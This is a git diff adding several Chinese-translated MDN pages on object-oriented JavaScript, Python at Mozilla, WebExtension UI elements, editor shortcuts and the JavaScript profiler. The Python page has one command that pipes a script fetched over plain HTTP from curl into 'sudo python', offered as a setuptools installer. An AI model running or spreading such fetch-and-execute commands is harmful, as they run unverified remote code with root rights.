在示例中,尽管只有button元素使用了脚本代码,但是HTML文档还是i需要外链一个脚本文件。Mozilla 对CSS做了扩展,让它可以为选择元素引用JavaScript代码 (也可以使内容或者其他样式表文件) 。下篇文章会对此有详细说明: XBL bindings

diff --git a/files/zh-cn/conflicting/learn/javascript/objects/index.html b/files/zh-cn/conflicting/learn/javascript/objects/index.html new file mode 100644 index 0000000000..1ae4554c63 --- /dev/null +++ b/files/zh-cn/conflicting/learn/javascript/objects/index.html @@ -0,0 +1,362 @@ +--- +title: JavaScript面向对象简介 +slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +tags: + - JavaScript + - OOP + - 命名空间 + - 对象 + - 封装 + - 成员 + - 构造函数 + - 继承 + - 面向对象 +translation_of: Learn/JavaScript/Objects +translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +--- +
{{jsSidebar("Introductory")}}
+ +
 
+ +

JavaScript 的核心是支持面向对象的,同时它也提供了强大灵活的 OOP 语言能力。本文从对面向对象编程的介绍开始,带您探索 JavaScript 的对象模型,最后描述 JavaScript 当中面向对象编程的一些概念。

+ +

JavaScript回顾

+ +

如果您对 JavaScript 的概念(如变量、类型、方法和作用域等)缺乏自信,您可以在重新介绍 JavaScript 这篇文章里学习这些概念。您也可以查阅这篇 JavaScript 1.5 核心指南

+ +

面向对象编程

+ +

面向对象编程是用抽象方式创建基于现实世界模型的一种编程模式。它使用先前建立的范例,包括模块化,多态和封装几种技术。今天,许多流行的编程语言(如Java,JavaScript,C#,C+ +,Python,PHP,Ruby和Objective-C)都支持面向对象编程(OOP)。

+ +

相对于「一个程序只是一些函数的集合,或简单的计算机指令列表。」的传统软件设计观念而言,面向对象编程可以看作是使用一系列对象相互协作的软件设计。 在 OOP 中,每个对象能够接收消息,处理数据和发送消息给其他对象。每个对象都可以被看作是一个拥有清晰角色或责任的独立小机器。

+ +

面向对象程序设计的目的是在编程中促进更好的灵活性和可维护性,在大型软件工程中广为流行。凭借其对模块化的重视,面向对象的代码开发更简单,更容易理解,相比非模块化编程方法 1, 它能更直接地分析, 编码和理解复杂的情况和过程。

+ +

术语

+ +
+
Namespace 命名空间
+
允许开发人员在一个独特,应用相关的名字的名称下捆绑所有功能的容器。
+
Class 类
+
定义对象的特征。它是对象的属性和方法的模板定义。
+
Object 对象
+
类的一个实例。
+
Property 属性
+
对象的特征,比如颜色。
+
Method 方法
+
对象的能力,比如行走。
+
Constructor 构造函数
+
对象初始化的瞬间,被调用的方法。通常它的名字与包含它的类一致。
+
Inheritance 继承
+
一个类可以继承另一个类的特征。
+
Encapsulation 封装
+
一种把数据和相关的方法绑定在一起使用的方法。
+
Abstraction 抽象
+
结合复杂的继承,方法,属性的对象能够模拟现实的模型。
+
Polymorphism 多态
+
多意为「许多」,态意为「形态」。不同类可以定义相同的方法或属性。
+
+ +

更多关于面向对象编程的描述,请参照维基百科的 面向对象编程 。

+ +

原型编程

+ +

基于原型的编程不是面向对象编程中体现的风格,且行为重用(在基于类的语言中也称为继承)是通过装饰它作为原型的现有对象的过程实现的。这种模式也被称为弱类化,原型化,或基于实例的编程。

+ +

原始的(也是最典型的)基于原型语言的例子是由大卫·安格尔和兰德尔·史密斯开发的。然而,弱类化的编程风格近来变得越来越流行,并已被诸如JavaScript,Cecil,NewtonScript,IO,MOO,REBOL,Kevo,Squeak(使用框架操纵Morphic组件),和其他几种编程语言采用。1

+ +

JavaScript面向对象编程

+ +

命名空间

+ +

命名空间是一个容器,它允许开发人员在一个独特的,特定于应用程序的名称下捆绑所有的功能。 在JavaScript中,命名空间只是另一个包含方法,属性,对象的对象。

+ +
+

注意:需要认识到重要的一点是:与其他面向对象编程语言不同的是,Javascript中的普通对象和命名空间在语言层面上没有区别。这点可能会让JavaScript初学者感到迷惑。

+
+ +

创造的JavaScript命名空间背后的想法很简单:一个全局对象被创建,所有的变量,方法和功能成为该对象的属性。使用命名空间也最大程度地减少应用程序的名称冲突的可能性。

+ +

我们来创建一个全局变量叫做 MYAPP

+ +
// 全局命名空间
+var MYAPP = MYAPP || {};
+ +

在上面的代码示例中,我们首先检查MYAPP是否已经被定义(是否在同一文件中或在另一文件)。如果是的话,那么使用现有的MYAPP全局对象,否则,创建一个名为MYAPP的空对象用来封装方法,函数,变量和对象。

+ +

我们也可以创建子命名空间:

+ +
// 子命名空间
+MYAPP.event = {};
+ +

下面是用于创建命名空间和添加变量,函数和方法的代码写法:

+ +
// 给普通方法和属性创建一个叫做MYAPP.commonMethod的容器
+MYAPP.commonMethod = {
+  regExForName: "", // 定义名字的正则验证
+  regExForPhone: "", // 定义电话的正则验证
+  validateName: function(name){
+    // 对名字name做些操作,你可以通过使用“this.regExForname”
+    // 访问regExForName变量
+  },
+
+  validatePhoneNo: function(phoneNo){
+    // 对电话号码做操作
+  }
+}
+
+// 对象和方法一起申明
+MYAPP.event = {
+    addListener: function(el, type, fn) {
+    //  代码
+    },
+   removeListener: function(el, type, fn) {
+    // 代码
+   },
+   getEvent: function(e) {
+   // 代码
+   }
+
+   // 还可以添加其他的属性和方法
+}
+
+//使用addListener方法的写法:
+MYAPP.event.addListener("yourel", "type", callback);
+ +

标准内置对象

+ +

JavaScript有包括在其核心的几个对象,例如,Math,Object,Array和String对象。下面的例子演示了如何使用Math对象的random()方法来获得一个随机数。

+ +
console.log(Math.random());
+
+ +
注意:这里和接下来的例子都假设名为 console.log 的方法全局有定义。console.log 实际上不是 JavaScript 自带的。
+ +

查看 JavaScript 参考:全局对象 了解 JavaScript 内置对象的列表。

+ +

JavaScript 中的每个对象都是 Object 对象的实例且继承它所有的属性和方法。

+ +

自定义对象

+ +

+ +

JavaScript是一种基于原型的语言,它没类的声明语句,比如C+ +或Java中用的。这有时会对习惯使用有类申明语句语言的程序员产生困扰。相反,JavaScript可用方法作类。定义一个类跟定义一个函数一样简单。在下面的例子中,我们定义了一个新类Person。

+ +
function Person() { }
+// 或
+var Person = function(){ }
+
+ +

对象(类的实例)

+ +

我们使用 new obj 创建对象 obj 的新实例, 将结果(obj 类型赋值给一个变量方便稍后调用。

+ +

在下面的示例中,我们定义了一个名为Person的类,然后我们创建了两个Person的实例(person1 and person2).

+ +
function Person() { }
+var person1 = new Person();
+var person2 = new Person();
+
+ +
注意:有一种新增的创建未初始化实例的实例化方法,请参考 Object.create
+ +

构造器

+ +

在实例化时构造器被调用 (也就是对象实例被创建时)。构造器是对象中的一个方法。 在JavaScript中函数就可以作为构造器使用,因此不需要特别地定义一个构造器方法,每个声明的函数都可以在实例化后被调用执行。

+ +

构造器常用于给对象的属性赋值或者为调用函数做准备。 在本文的后面描述了类中方法既可以在定义时添加,也可以在使用前添加。

+ +

在下面的示例中, Person类实例化时构造器调用一个 alert函数。

+ +
function Person() {
+  alert('Person instantiated');
+}
+
+var person1 = new Person();
+var person2 = new Person();
+
+ +

属性 (对象属性)

+ +

属性就是 类中包含的变量;每一个对象实例有若干个属性. 为了正确的继承,属性应该被定义在类的原型属性 (函数)中。

+ +

可以使用 关键字 this调用类中的属性, this是对当前对象的引用。 从外部存取(读/写)其属性的语法是: InstanceName.Property; 这与C++,Java或者许多其他语言中的语法是一样的 (在类中语法 this.Property 常用于set和get属性值)

+ +

在下面的示例中,我们为定义Person类定义了一个属性 firstName 并在实例化时赋初值。

+ +
function Person(firstName) {
+  this.firstName = firstName;
+  alert('Person instantiated');
+}
+
+var person1 = new Person('Alice');
+var person2 = new Person('Bob');
+
+// Show the firstName properties of the objects
+alert('person1 is ' + person1.firstName); // alerts "person1 is Alice"
+alert('person2 is ' + person2.firstName); // alerts "person2 is Bob"
+
+ +

方法(对象属性)

+ +

方法与属性很相似, 不同的是:一个是函数,另一个可以被定义为函数。 调用方法很像存取一个属性,  不同的是add () 在方法名后面很可能带着参数. 为定义一个方法, 需要将一个函数赋值给类的 prototype 属性; 这个赋值给函数的名称就是用来给对象在外部调用它使用的。

+ +

在下面的示例中,我们给Person类定义了方法 sayHello(),并调用了它.

+ +
function Person(firstName) {
+  this.firstName = firstName;
+}
+
+Person.prototype.sayHello = function() {
+  alert("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+
+// call the Person sayHello method.
+person1.sayHello(); // alerts "Hello, I'm Alice"
+person2.sayHello(); // alerts "Hello, I'm Bob"
+
+ +

在JavaScript中方法通常是一个绑定到对象中的普通函数, 这意味着方法可以在其所在context之外被调用。 思考下面示例中的代码:

+ +
function Person(firstName) {
+  this.firstName = firstName;
+}
+
+Person.prototype.sayHello = function() {
+  alert("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+var helloFunction = person1.sayHello;
+
+person1.sayHello();                                 // alerts "Hello, I'm Alice"
+person2.sayHello();                                 // alerts "Hello, I'm Bob"
+helloFunction();                                    // alerts "Hello, I'm undefined" (or fails
+                                                    // with a TypeError in strict mode)
+console.log(helloFunction === person1.sayHello);          // logs true
+console.log(helloFunction === Person.prototype.sayHello); // logs true
+helloFunction.call(person1);                        // logs "Hello, I'm Alice"
+
+ +

如上例所示, 所有指向sayHello函数的引用 ,包括 person1, Person.prototype, 和 helloFunction 等, 均引用了相同的函数.

+ +

在调用函数的过程中,this的值取决于我们怎么样调用函数.  在通常情况下,我们通过一个表达式person1.sayHello()来调用函数:即从一个对象的属性中得到所调用的函数。此时this被设置为我们取得函数的对象(即person1)。这就是为什么person1.sayHello() 使用了姓名“Alice”而person2.sayHello()使用了姓名“bob”的原因。 

+ +

然而我们使用不同的调用方法时, this的值也就不同了。当从变量 helloFunction()中调用的时候, this就被设置成了全局对象 (在浏览器中即window)。由于该对象 (非常可能地) 没有firstName 属性, 我们得到的结果便是"Hello, I'm undefined". (这是松散模式下的结果, 在 严格模式中,结果将不同(此时会产生一个error)。 但是为了避免混淆,我们在这里不涉及细节) 。另外,我们可以像上例末尾那样,使用Function#call (或者Function#apply)显式的设置this的值。

+ +
更多有关信息请参考 Function#call and Function#apply
+ +

继承

+ +

创建一个或多个类的专门版本类方式称为继承(Javascript只支持单继承)。 创建的专门版本的类通常叫做子类,另外的类通常叫做父类。 在Javascript中,继承通过赋予子类一个父类的实例并专门化子类来实现。在现代浏览器中你可以使用 Object.create 实现继承.

+ +
+

JavaScript 并不检测子类的 prototype.constructor (见 Object.prototype), 所以我们必须手动申明它.

+
+ +

在下面的例子中, 我们定义了 Student类作为 Person类的子类. 之后我们重定义了sayHello() 方法并添加了 sayGoodBye() 方法.

+ +
// 定义Person构造器
+function Person(firstName) {
+  this.firstName = firstName;
+}
+
+// 在Person.prototype中加入方法
+Person.prototype.walk = function(){
+  alert("I am walking!");
+};
+Person.prototype.sayHello = function(){
+  alert("Hello, I'm " + this.firstName);
+};
+
+// 定义Student构造器
+function Student(firstName, subject) {
+  // 调用父类构造器, 确保(使用Function#call)"this" 在调用过程中设置正确
+  Person.call(this, firstName);
+
+  // 初始化Student类特有属性
+  this.subject = subject;
+};
+
+// 建立一个由Person.prototype继承而来的Student.prototype对象.
+// 注意: 常见的错误是使用 "new Person()"来建立Student.prototype.
+// 这样做的错误之处有很多, 最重要的一点是我们在实例化时
+// 不能赋予Person类任何的FirstName参数
+// 调用Person的正确位置如下,我们从Student中来调用它
+Student.prototype = Object.create(Person.prototype); // See note below
+
+// 设置"constructor" 属性指向Student
+Student.prototype.constructor = Student;
+
+// 更换"sayHello" 方法
+Student.prototype.sayHello = function(){
+  console.log("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + ".");
+};
+
+// 加入"sayGoodBye" 方法
+Student.prototype.sayGoodBye = function(){
+  console.log("Goodbye!");
+};
+
+// 测试实例:
+var student1 = new Student("Janet", "Applied Physics");
+student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
+student1.walk();       // "I am walking!"
+student1.sayGoodBye(); // "Goodbye!"
+
+// Check that instanceof works correctly
+console.log(student1 instanceof Person);  // true
+console.log(student1 instanceof Student); // true
+
+ +

对于“Student.prototype = Object.create(Person.prototype);”这一行,在不支持 Object.create方法的老JavaScript引擎中,可以使用一个"polyfill"(又名"shim",查看文章链接),或者使用一个function来获得相同的返回值,就像下面:

+ +
function createObject(proto) {
+    function ctor() { }
+    ctor.prototype = proto;
+    return new ctor();
+}
+
+// Usage:
+Student.prototype = createObject(Person.prototype);
+
+ +
更多相关信息请参考 Object.create,连接中还有一个老JavaScript引擎的兼容方案(shim)。
+ +

封装

+ +

在上一个例子中,Student类虽然不需要知道Person类的walk()方法是如何实现的,但是仍然可以使用这个方法;Student类不需要明确地定义这个方法,除非我们想改变它。 这就叫做封装,对于所有继承自父类的方法,只需要在子类中定义那些你想改变的即可。

+ +

抽象

+ +

抽象是允许模拟工作问题中通用部分的一种机制。这可以通过继承(具体化)或组合来实现。
+ JavaScript通过继承实现具体化,通过让类的实例是其他对象的属性值来实现组合。

+ +

JavaScript Function 类继承自Object类(这是典型的具体化) 。Function.prototype的属性是一个Object实例(这是典型的组合)。

+ +
var foo = function(){};
+console.log( 'foo is a Function: ' + (foo instanceof Function) );                  // logs "foo is a Function: true"
+console.log( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) ); // logs "foo.prototype is an Object: true"
+ +

多态

+ +

就像所有定义在原型属性内部的方法和属性一样,不同的类可以定义具有相同名称的方法;方法是作用于所在的类中。并且这仅在两个类不是父子关系时成立(继承链中,一个类不是继承自其他类)。

+ +

注意

+ +

本文中所展示的面向对象编程技术不是唯一的实现方式,在JavaScript中面向对象的实现是非常灵活的。

+ +

同样的,文中展示的技术没有使用任何语言hacks,它们也没有模仿其他语言的对象理论实现。

+ +

JavaScript中还有其他一些更加先进的面向对象技术,但这些都超出了本文的介绍范围。

+ +

参考

+ +
    +
  1. 维基百科。「面向对象程序设计」,http://zh.wikipedia.org/wiki/面向对象程序设计​
  2. +
  3. 维基百科。“Encapsulation (object-oriented programming)
  4. +
diff --git a/files/zh-cn/conflicting/learn/server-side/django/index.html b/files/zh-cn/conflicting/learn/server-side/django/index.html new file mode 100644 index 0000000000..95ec82f251 --- /dev/null +++ b/files/zh-cn/conflicting/learn/server-side/django/index.html @@ -0,0 +1,111 @@ +--- +title: Python +slug: Python +tags: + - Python + - Services +translation_of: Learn/Server-side/Django +translation_of_original: Python +--- +

Python 是一款直译式脚本语言,支持包括 Linux、Mac OS X 和 Microsoft Windows 在内的多种平台。

+ +

学习 Python

+ +

免费的电子书

+ +

 如果你是个初学者,可以考虑看看 Dive Into Python 。虽然它最后更新的时间是2004年,但依然是一部免费而且很棒的教程。 它含括了几乎所有Python 的基本元素,还有一些平常使用 Python 可以执行什么任务,像是对 Web 请求和文件的处理。如果对于 Python 已经有了基本的概念,就可以考虑看看 Text Processing In Python,这本书对于 Python 有着更进阶的介绍。

+ +

还有其他免费的电子书和在线资源可供参考:

+ + + +

译者注:如果有发现其他中文教程,欢迎编写本页来分享

+ +

当你对这款语言有了基础的认识后, Code Like a Pythonista: Idiomatic Python 将帮你了解 Python 的一些特别之处,以及和其他语言的区别。

+ +

免费在线课程

+ + + +

Python 也用在了基于 Mozilla 的应用程序中

+ +

XPCOM 在 Mozilla 中用于支持跨语言通信(inter-language communication)。它仅原生支持 C++ <-> JavaScript 的交流。 Python 的 XPCOM 组件(也叫做 PyXPCOM)是将 Python 和 Mozilla 粘合在一块的低级别胶水(the low-level glue),使得用 JavaScript 或 C++ 编写的 XPCOM 组件既可以通过 Python 使用,反之亦然。PyXPCOM 并不默认包含在 Firefox 构建版本中,因此你须要使用第三方构建版本或自己构建一个版本来使用它。PyXPCOM中最知名的消费者是Komodo系列的产品。 

+ +

从Mozilla 1.9版本开始就已经支持 (PyDOM) 。 这也让chrome 的XUL 和 HTML 作者在他们的 <script> 标签中使用python(再一次声明,官方版本的Firefox和Thunderbird版本还不支持)。

+ +

Mozilla中基于Python的开发者工具

+ +

Python已经被众多Mozilla开发者应用于大量的app和框架中。更多信息请参考Python Environment and Tools for Mozilla.

+ +

工具列表在这里: http://k0s.org/toolbox/?language=python

+ +

Mozilla中Python的使用

+ +

Mozilla有大量的基于python的框架,包括:

+ + + +

Mozilla-Central的Python身影

+ +

[参考网址://bugzilla.mozilla.org/show_bug.cgi?id=835553]

+ +

在Mozilla-Central很多的正式版本,测试版本以及其他的框架和工具都是使用的python

+ + + +

一个虚拟化环境(virtualenv)包含在调用$OBJDIR/_virtualenv 版本的objdir 时 . 为了封装到虚拟环境中, 可编辑build/virtualenv_packages.txt . 这里有安装好了的版本 build/virtualenv/populate_virtualenv.py .

+ +

Python的封装

+ +

Python使用setup.py 来记录元数据和python包(python packages)的安装。运行 (e.g.) python setup.py install 将安装打包文件以及使python's import path中的模块可用。对python 2.x来说, 有几种不同的分布式或安装式模块存在,distutils 只在python标准库( python's standard library)的分布式封装中可用, distutils 可以上传到python封装索引python package index 并且安装python包。详情请参阅Python documentation on distutils

+ +

当 distutils 已经被加入python标准库中后, 初始化工具 setuptools是一个为封装和分发的第三方的特设标准。它几乎完全兼容distutils,但是却非常关键的使封装文件具有“依赖关系”include dependencies 的能力,可以在setup.py 被调用的时候作为预置条件安装,同时也有了在开发者模式development mode下安装python包的能力. 这使得文件能通过 .pth files来编辑,这对于积极工作的人来说非常容易上手。 setuptools 也提供了一个通过 PyPI来快速安装打包文件和依赖关系的脚本easy_install 。比如安装 PyYAML包,运行

+ +
easy_install PyYAML
+
+ +

因为 setuptools 没有被包含在python中,你需要对其进行安装,你可以去到PyPI主页去下载setuptoolsi,然后解压,在目录下运行python setup.py install ,你也可以使用快速安装脚本ez_setup.py来进行安装,你可以在拥有root权限或管理员权限的python环境中下载和安装,或者在 bash shell中运行

+ +
sudo python <(curl http://peak.telecommunity.com/dist/ez_setup.py)
+
+ +

setuptools 也提供了一个虚拟环境virtualenv, 所以如果你想使用虚拟环境来开发,你不需要全局安装setuptools ,distribute是一个Mozilla大佬 Tarek Ziade 在setuptools 的一个,它完全兼容setuptools,并修复了一些bug。

+ +
注意: 非常建议你使用虚拟环境virtualenv来开发
+ +

python包索引Python Package Index (PyPI) 是一个标准的python打包文件的分发点。如果你需要查找一些python的功能,这是一个很好的查询的地方。

+ +

参阅: http://k0s.org/portfolio/packaging.html

+ +

参阅:

+ + diff --git a/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html new file mode 100644 index 0000000000..922d45fbc1 --- /dev/null +++ b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html @@ -0,0 +1,39 @@ +--- +title: Tutorials +slug: Learn/tutorial +tags: + - Index + - NeedsTranslation + - TopicStub +translation_of: Learn +translation_of_original: Learn/tutorial +--- +

It's great to know about Web technologies and the concepts behind them, but at some point it's time to turn theory into practice. We've set up some pathways that will help you get results with Web technology and enjoy the power you unlock as you learn!

+ +
+
+

The basics

+ +

These are the essentials to follow if you're starting out with Web development.

+ +
+
How to build a website
+
This tutorial leads you through all the steps to building a website from scratch.
+
Information Security Basics
+
This tutorial explains the basic principles of information security and how to apply them, especially in cryptography.
+
+
+ +
+

In depth

+ +

The following provides more advanced use cases for seasoned web developers.

+ +
+
Building Web Apps
+
Web Apps are applications that run in a web browser, and you need specific knowledge to become adept at building them. Find out everything you need to know here on MDN!
+
+
+
+ +

 

diff --git a/files/zh-cn/conflicting/mdn/contribute/index.html b/files/zh-cn/conflicting/mdn/contribute/index.html new file mode 100644 index 0000000000..8e298ed29b --- /dev/null +++ b/files/zh-cn/conflicting/mdn/contribute/index.html @@ -0,0 +1,7 @@ +--- +title: 'MDC:How to Help' +slug: 'MDC:怎样进行帮助' +translation_of: MDN/Contribute +translation_of_original: 'MDC:How_to_Help' +--- +

你好,世界!

diff --git a/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html new file mode 100644 index 0000000000..b2b145fe60 --- /dev/null +++ b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html @@ -0,0 +1,45 @@ +--- +title: 内容块 +slug: MDN/Guidelines/Content_blocks +translation_of: MDN/Guidelines/CSS_style_guide +translation_of_original: MDN/Structures/Content_blocks +--- +
{{MDNSidebar}}
+

This pages lists reusable content blocks.

+
+

Card-grid

+

Allows to have a couple of cards next to each other to call out specific contents or can be used for a call to action. CSS class: .card-grid (L 751 - 824 in CustomCSS).

+ +

Two columns

+

Two columns seperated with a thick grey border. Often used on landing pages. CSS class: .topicpage-table (L 830 - 837 & 82-93 in CustomCSS).

+
+
+ Column 1
+
+ Column 2
+
+

 

+

Equal column heights

+

Used on the Firefox OS landing page to wrap columns that should all be the same height. CSS class .equalColumnHeights (L 25 - 38 in CustomCSS).

+
+
+ Some text
+ And a new line
+  
+
+ Some more text
+
+
+ here
+
+

 

diff --git a/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html new file mode 100644 index 0000000000..0aaec74b1f --- /dev/null +++ b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html @@ -0,0 +1,163 @@ +--- +title: 用户界面元素 +slug: Mozilla/Add-ons/WebExtensions/用户界面元素 +translation_of: Mozilla/Add-ons/WebExtensions/user_interface +translation_of_original: Mozilla/Add-ons/WebExtensions/User_interface_components +--- +
{{AddonSidebar}}
+ +

该主题概括了所有你能用来创建你扩展的用户界面的组件。

+ +

浏览器行为

+ +

浏览器行为是一个你能添加至浏览器工具栏的按钮,用户可以点击该按钮来与你的扩展交互。

+ +

+ +

有两种方式定义一个浏览器行为: 有一个 弹出菜单, 或者没有弹出菜单。

+ +

当你没有定义一个弹出菜单时,用户点击按钮会导致一个消息被分发至扩展,而你可以使用 browserAction.onClicked 来监听它:

+ +
browser.browserAction.onClicked.addListener(handleClick);
+ +

如果你定义了弹出菜单,点击事件就不会被分发取而代之的是弹出菜单会显示出来。用户可以跟弹出菜单交互而当用户点击菜单外的区域时它会自动关闭。

+ +

值得注意的是你的扩展只能拥有一个浏览器行为。

+ +

定义浏览器行为

+ +

你通过使用在manifest.json 文件中使用 browser_action 关键字定义浏览器行为的属性 - 图标, 标题, 弹出菜单 :

+ +
"browser_action": {
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}
+ +

唯一必要的关键字是 default_icon.你可以使用 browserAction API 修改任何属性.

+ +

例子

+ +

在GITHUB上的 webextensions-examples 资源包含了以下使用浏览行为的例子:

+ + + +

页面行为

+ +

页面行为在很多方面类似于 browser actions , 除了:

+ + + +

为了强调页面行为只跟部分页面有联系,他们将其显示在地址栏内而不是工具栏:

+ +

+ +

不像浏览器行为,页面行为默认是关闭的, 调用 pageAction.show()pageAction.hide() 可以显示或隐藏页面行为。

+ +

定义页面行为

+ +

通过在manifest.json中使用page_action 关键字来定义页面行为的属性 —— 图标, 标题, 弹出菜单:

+ +
"page_action": {
+  "browser_style": true,
+  "default_icon": {
+    "19": "button/geo-19.png",
+    "38": "button/geo-38.png"
+  },
+  "default_title": "Whereami?",
+  "default_popup": "popup/geo.html"
+}
+ +

default_icon 是唯一强制要求的关键字. 你可以使用 pageAction API 修改所有的属性或现实或隐藏页面行为。

+ +

例子

+ +

 chill-out 例子使用了一个页面行为。

+ +

弹出菜单

+ +

一个弹出菜单是一个绑定至 browser action 或者 page action  的对话框。

+ +

+ +

当用户点击按钮弹出菜单显示,当用户点击弹出菜单外的任何区域弹出菜单关闭。可以使用  window.close() 来关闭弹出菜单。

+ +

你可以使用专门的在manifest.json中使用"_execute_browser_action" 和 "_execute_page_action" 来定义一个快捷键打开浏览器行为或页面行为. 详情请看 commands manifest.json 关键字。不过你不能在你的扩展脚本中通过编程打开弹出菜单 : 他只能通过用户的行为的被打开。

+ +

弹出菜单像普通网页一样通过HTML文件被定义,你当然也可以在里面包含CSS 和 javascript文件。 而且不像普通网页, 其包含的javascript可以使用所有的已经通过permissions获取了使用权限的 WebExtension APIs

+ +

你可以要求浏览器在你的弹出菜单中包含一个样式表以使其看起来与浏览器UI一致。为了达成这一目的,在你的 browser_actionpage_action  关键字中包含 "browser_style": true

+ +

弹出菜单存在一个限制其可以加载资源的源地址的安全机制, 同时不允许类似 eval() 的做法的使用 查看 Content Security Policy 获取更多细节。

+ +

你可以使用Add-on Debugger来调试弹出菜单标记和脚本,但是你需要一些技巧来设置让弹出菜单不在自动关闭。 阅读关于调试弹出菜单

+ +

弹出菜单尺寸重新计算

+ +

弹出菜单自动根据其内容调整尺寸。其适应算法可能因浏览器而不同。

+ +

在火狐, 尺寸只再弹出菜单显示前被计算,而且在内容变化后至多进行每秒十次的计算。严格来说, 尺寸受 <body> 元素放置尺寸决定。 一种怪异的说法是, 他由 <html> 决定, Firefox 计算该元素的推荐宽度, 重新调整弹出菜单至其宽度, 然后完成尺寸调整所以这里没有上下滚动。 如果适应用户的屏幕他可能会增长到800X600px的尺寸。 如果用户 移动弹出菜单对应按钮到菜单面板 ,而后弹出菜单会在菜单栏内显示并具有合适的尺寸。

+ +

设置页面

+ +

设置页面允许你定义你的扩展可以被用户修改的选项。 用户从浏览器扩展管理器中访问设置页面:

+ +

{{EmbedYouTube("02oXAcbUv-s")}}

+ +

每个浏览器访问该页面的方法存在区别。

+ + + +

你可以通过调用 runtime.openOptionsPage() 打开设置页面

+ +

设置页面存在一个限制其可以加载资源的源地址的安全机制, 同时不允许类似 eval() 的做法的使用 查看 Content Security Policy 获取更多细节。

+ +

定义一个设置页面:

+ +

创建一个设置页面有以下流程:

+ + + +

例子

+ +

 favourite-colour 使用了设置页面。

+ +

上下文菜单项

+ +

使用 {{WebExtAPIRef("contextMenus")}} API, 你可以按你指定的情况向浏览器上下文菜单添加项目, 比如,你可以只在用户点击图片时显示一项,或者在一个可编辑的元素上,或者被选择的页面的一部份。

+ +

指定一个上下文菜单项

+ +

您可以使用{{WebExtAPIRef("contextMenus")}} API来 程序化地管理上下文菜单项。

+ +

例子

+ +

 context-menu-demo 创建了几种不同的上下文菜单项。

+ +

通知

+ +

使用 {{WebExtAPIRef("notifications")}} API,你通过使用操作系统的通知系统可以创建短时通知:

+ +

+ +

定义一个通知

+ +

使用{{WebExtAPIRef("notifications")}} API 可以程序化地管理通知。

+ +

Examples

+ +

notify-link-clicks-i18n 创建了通知。

diff --git a/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..f1169710b4 --- /dev/null +++ b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html @@ -0,0 +1,93 @@ +--- +title: 使用源代码编辑器 +slug: Tools/Using_the_Source_Editor +translation_of: tools/Keyboard_shortcuts#Source_editor +translation_of_original: Tools/Using_the_Source_Editor +--- +
{{ToolsSidebar}}

源代码编辑器是一个编辑器组件,由源editor.jsm的Java Script代码模块的提供,这是共享的几个开发工具,包括暂存器和样式编辑器。它也可以被使用的Firefox扩展。本文说明如何使用编辑器来编辑文本。.

+

键盘命令

+

这些都是标准命令的快捷键;注意,某些附加产品,他们可能会有所不同。但火狐使用的总是这些。.

+
+ 注:在Mac OS X,使用Command键来代替控制键.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
功能键盘
选择所有Ctrl-A
复制Ctrl-C
查找Ctrl-F
查找下一个Ctrl-G
跳转行Ctrl-L
重做Ctrl-Shift-Z
粘贴Ctrl-V
剪切Ctrl-X
恢复Ctrl-Z
行缩进(s)Tab
取消行缩进Shift-Tab
移动行(s) 上Alt-
+ (Ctrl-Option- on Mac OS X)
移动行(s) 下Alt-
+ (Ctrl-Option- on Mac OS X)
切换注释选择Ctrl-/ {{fx_minversion_inline("14.0")}}
Move to bracket openingCtrl-[ {{fx_minversion_inline("14.0")}}
Move to bracket closingCtlr-] {{fx_minversion_inline("14.0")}}
+

参阅

+ diff --git a/files/zh-cn/conflicting/tools/performance/index.html b/files/zh-cn/conflicting/tools/performance/index.html new file mode 100644 index 0000000000..e2f7da543c --- /dev/null +++ b/files/zh-cn/conflicting/tools/performance/index.html @@ -0,0 +1,140 @@ +--- +title: JavaScript Profiler +slug: Tools/Profiler +translation_of: Tools/Performance +translation_of_original: Tools/Profiler +--- +
{{ToolsSidebar}}

使用Profiler工具找到你的JavaScript代码的瓶颈. Profiler会定期统计JavaScript样本的堆栈信息.

+ +

你可以通过在Web Developer菜单下选择Profiler来启动它. 在Linux和OS X下,你可以在Tools菜单下找到Web Developer,而在windows下,Web Developer则在FIrefox菜单下.

+ +

当Profiler被选择后,工具箱就会被打开.

+ +

抽样分析器

+ +

JavaScript Profiler是一个抽样分析器. 这意味着它会定期对JavaScript引擎的状态取样, 并且记录取样时代码运行的堆栈信息. 统计学上, 我们运行可接受样本数量的函数,花费的时间相当于浏览器运行它的时间,所以你可以很好的从你的代码里找到瓶颈。
+
+ 例如,考虑这样一个程序:

+ +
function doSomething() {
+  var x = getTheValue();
+  x = x + 1;                   // -> sample A
+  logTheValue(x);
+}
+
+function getTheValue() {
+  return 5;
+}
+
+function logTheValue(x) {
+ console.log(x);               // -> sample B, sample C
+}
+
+doSomething();
+ +

Suppose we run this program with the profiler active, and in the time it takes to run, the profiler takes three samples, as indicated in the inline comments above.

+ +

They're all taken from inside doSomething(), but the second two are inside the logTheValue() function called by doSomething(). So the profile would consist of three stack traces, like this:

+ +
Sample A: doSomething()
+Sample B: doSomething() > logTheValue()
+Sample C: doSomething() > logTheValue()
+ +

